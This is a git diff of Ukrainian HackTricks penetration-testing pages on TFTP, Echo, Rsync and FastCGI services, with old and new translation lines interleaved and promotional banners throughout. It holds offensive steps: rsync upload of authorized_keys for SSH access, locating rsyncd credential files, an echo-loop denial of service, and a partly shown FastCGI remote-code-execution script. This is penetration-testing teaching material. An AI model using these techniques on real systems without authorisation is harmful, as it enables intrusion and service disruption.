**Trivial File Transfer Protocol (TFTP)** - це простий протокол, що використовується на **UDP порту 69**, який дозволяє передавати файли без необхідності аутентифікації. Описаний у **RFC 1350**, його простота означає, що йому бракує ключових функцій безпеки, що призводить до обмеженого використання в публічному Інтернеті. Однак **TFTP** широко використовується в великих внутрішніх мережах для розподілу **конфігураційних файлів** та **ROM-образів** на пристрої, такі як **VoIP-телефони**, завдяки своїй ефективності в цих специфічних сценаріях.
|
||||
|
||||
**TODO**: Надати інформацію про те, що таке бітторрент-трекер (Shodan ідентифікує цей порт під цим ім'ям). Якщо у вас є більше інформації про це, дайте нам знати, наприклад, у [**групі Telegram HackTricks**](https://t.me/peass) (або у випадку github у [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
**TODO**: Надати інформацію про те, що таке Bittorrent-трекер (Shodan ідентифікує цей порт під цією назвою). Якщо у вас є більше інформації про це, дайте нам знати, наприклад, у [**HackTricks telegram group**](https://t.me/peass) (або в github issue в [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
|
||||
**Порт за замовчуванням:** 69/UDP
|
||||
**Default Port:** 69/UDP
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
69/udp open tftp script-set
|
||||
```
|
||||
# Перелік
|
||||
# Enumeration
|
||||
|
||||
TFTP не надає переліку каталогів, тому скрипт `tftp-enum` з `nmap` спробує перебрати типові шляхи.
|
||||
TFTP не надає списку каталогів, тому скрипт `tftp-enum` з `nmap` спробує перебрати стандартні шляхи.
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
## Завантаження/Відвантаження
|
||||
## Завантаження/Вивантаження
|
||||
|
||||
Ви можете використовувати Metasploit або Python, щоб перевірити, чи можете ви завантажувати/відвантажувати файли:
|
||||
Ви можете використовувати Metasploit або Python, щоб перевірити, чи можете ви завантажити/вивантажити файли:
|
||||
```bash
|
||||
msf5> auxiliary/admin/tftp/tftp_transfer_util
|
||||
```
|
||||
|
@ -45,19 +50,25 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `порт:69`
|
||||
* `port:69`
|
||||
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримати HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Група з безпеки Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -20,10 +21,11 @@
|
|||
|
||||
***
|
||||
|
||||
|
||||
# Основна інформація
|
||||
|
||||
На цьому хості працює служба ехо. Служба ехо була призначена для тестування та вимірювання і може приймати підключення як по протоколу TCP, так і по UDP. Сервер надсилає назад будь-які дані, які він отримує, без будь-яких змін.\
|
||||
**Можливо викликати відмову в обслуговуванні, підключивши службу ехо до служби ехо на тому ж або іншому комп'ютері**. Через надмірно велику кількість пакетів, порушені машини можуть бути ефективно виведені з ладу.\
|
||||
На цьому хості працює служба еха. Служба еха призначена для тестування та вимірювання і може слухати як протоколи TCP, так і UDP. Сервер повертає будь-які дані, які він отримує, без змін.\
|
||||
**Можливо викликати відмову в обслуговуванні, підключивши службу еха до служби еха на тому ж або іншому комп'ютері**. Через надмірно велику кількість пакетів, що генеруються, уражені машини можуть бути фактично виведені з експлуатації.\
|
||||
Інформація з [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Порт за замовчуванням:** 7/tcp/udp
|
||||
|
@ -32,7 +34,7 @@ PORT STATE SERVICE
|
|||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## Зв'язок з службою Echo (UDP)
|
||||
## Зв'язатися з Echo сервісом (UDP)
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
|
@ -55,16 +57,17 @@ Hello echo #This is the response
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,34 @@
|
|||
# 873 - Пентестинг Rsync
|
||||
# 873 - Pentesting Rsync
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
З [вікіпедії](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync** - це утиліта для ефективного [передавання](https://en.wikipedia.org/wiki/File\_transfer) та [синхронізації](https://en.wikipedia.org/wiki/File\_synchronization) [файлів](https://en.wikipedia.org/wiki/Computer\_file) між комп'ютером та зовнішнім жорстким диском та між [мережевими](https://en.wikipedia.org/wiki/Computer\_network) [комп'ютерами](https://en.wikipedia.org/wiki/Computer), порівнюючи [часи змін](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) та розміри файлів.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Зазвичай використовується в [операційних системах](https://en.wikipedia.org/wiki/Operating\_system) подібних до Unix. Алгоритм rsync є типом [кодування дельта](https://en.wikipedia.org/wiki/Delta\_encoding) та використовується для мінімізації використання мережі. [Zlib](https://en.wikipedia.org/wiki/Zlib) може використовуватися для додаткового [стиснення даних](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) а [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) або [stunnel](https://en.wikipedia.org/wiki/Stunnel) можуть використовуватися для забезпечення безпеки.
|
||||
> **rsync** - це утиліта для ефективного [перенесення](https://en.wikipedia.org/wiki/File\_transfer) та [синхронізації](https://en.wikipedia.org/wiki/File\_synchronization) [файлів](https://en.wikipedia.org/wiki/Computer\_file) між комп'ютером та зовнішнім жорстким диском, а також між [мережевими](https://en.wikipedia.org/wiki/Computer\_network) [комп'ютерами](https://en.wikipedia.org/wiki/Computer) шляхом порівняння [часів модифікації](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) та розмірів файлів.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Вона зазвичай зустрічається на [Unix-подібних](https://en.wikipedia.org/wiki/Unix-like) [операційних системах](https://en.wikipedia.org/wiki/Operating\_system). Алгоритм rsync є типом [дельта-кодування](https://en.wikipedia.org/wiki/Delta\_encoding) і використовується для мінімізації використання мережі. [Zlib](https://en.wikipedia.org/wiki/Zlib) може використовуватися для додаткового [стиснення даних](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) а [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) або [stunnel](https://en.wikipedia.org/wiki/Stunnel) можуть використовуватися для безпеки.
|
||||
|
||||
**Порт за замовчуванням:** 873
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
873/tcp open rsync syn-ack
|
||||
```
|
||||
## Перелік
|
||||
## Перерахування
|
||||
|
||||
### Банер та ручне спілкування
|
||||
### Банер та ручна комунікація
|
||||
```bash
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
|
@ -49,9 +50,9 @@ nc -vn 127.0.0.1 873
|
|||
raidroot
|
||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||
```
|
||||
### **Перелік загальних папок**
|
||||
### **Перерахування спільних папок**
|
||||
|
||||
**Модулі Rsync** визначаються як **спільні каталоги**, які можуть бути **захищені паролями**. Для ідентифікації доступних модулів та перевірки, чи потрібні для них паролі, використовуються наступні команди:
|
||||
**Модулі Rsync** вважаються **спільними каталогами**, які можуть бути **захищені паролями**. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди:
|
||||
```bash
|
||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/rsync/modules_list
|
||||
|
@ -59,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
|||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
Будьте уважні, що деякі ресурси можуть не відображатися у списку, можливо, вони приховані. Крім того, доступ до деяких ресурсів може бути обмежений конкретними **даними для входу**, що підтверджується повідомленням **"Відмовлено в доступі"**.
|
||||
Будьте обережні, що деякі спільні ресурси можуть не з'явитися в списку, можливо, їх приховано. Крім того, доступ до деяких спільних ресурсів може бути обмежений конкретними **обліковими даними**, що вказується повідомленням **"Доступ заборонено"**.
|
||||
|
||||
### [**Перебір паролів**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||
|
||||
### Вручному використанні Rsync
|
||||
### Ручне використання Rsync
|
||||
|
||||
Після отримання **списку модулів** дії залежать від того, чи потрібна аутентифікація. Без аутентифікації **перелік** та **копіювання** файлів зі спільної папки в локальний каталог досягається через:
|
||||
Після отримання **списку модулів** дії залежать від того, чи потрібна аутентифікація. Без аутентифікації **перелік** і **копіювання** файлів з загальної папки до локального каталогу здійснюється через:
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
|
@ -75,37 +76,37 @@ rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
|||
```
|
||||
Цей процес **рекурсивно передає файли**, зберігаючи їх атрибути та дозволи.
|
||||
|
||||
З **ідентифікаційними даними** список та завантаження зі спільної папки можна виконати наступним чином, де з'явиться запит на пароль:
|
||||
З **обліковими даними** список і завантаження з загальної папки можна виконати наступним чином, де з'явиться запит на введення пароля:
|
||||
```bash
|
||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
Для **завантаження вмісту**, такого як файл _**authorized_keys**_ для доступу, використовуйте:
|
||||
Щоб **завантажити вміст**, наприклад, файл _**authorized_keys**_ для доступу, використовуйте:
|
||||
```bash
|
||||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||
```
|
||||
## POST
|
||||
|
||||
Для знаходження файлу конфігурації rsyncd виконайте:
|
||||
Щоб знайти файл конфігурації rsyncd, виконайте:
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
У цьому файлі параметр _secrets file_ може вказувати на файл, що містить **імена користувачів та паролі** для аутентифікації rsyncd.
|
||||
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Основна інформація
|
||||
|
||||
Якщо ви хочете **дізнатися, що таке FastCGI**, перевірте наступну сторінку:
|
||||
Якщо ви хочете **дізнатися, що таке FastCGI**, перегляньте наступну сторінку:
|
||||
|
||||
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
||||
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
За замовчуванням **FastCGI** працює на **порту** **9000** і не визначається nmap. **Зазвичай** FastCGI прослуховує лише **localhost**.
|
||||
За замовчуванням **FastCGI** працює на **порті** **9000** і не розпізнається nmap. **Зазвичай** FastCGI слухає лише на **localhost**.
|
||||
|
||||
# RCE
|
||||
|
||||
Дуже легко змусити FastCGI виконати довільний код:
|
||||
Досить легко змусити FastCGI виконувати довільний код:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
@ -45,19 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
|||
cat $OUTPUT
|
||||
done
|
||||
```
|
||||
або ви також можете скористатися наступним сценарієм Python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
або ви також можете використовувати наступний скрипт на python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
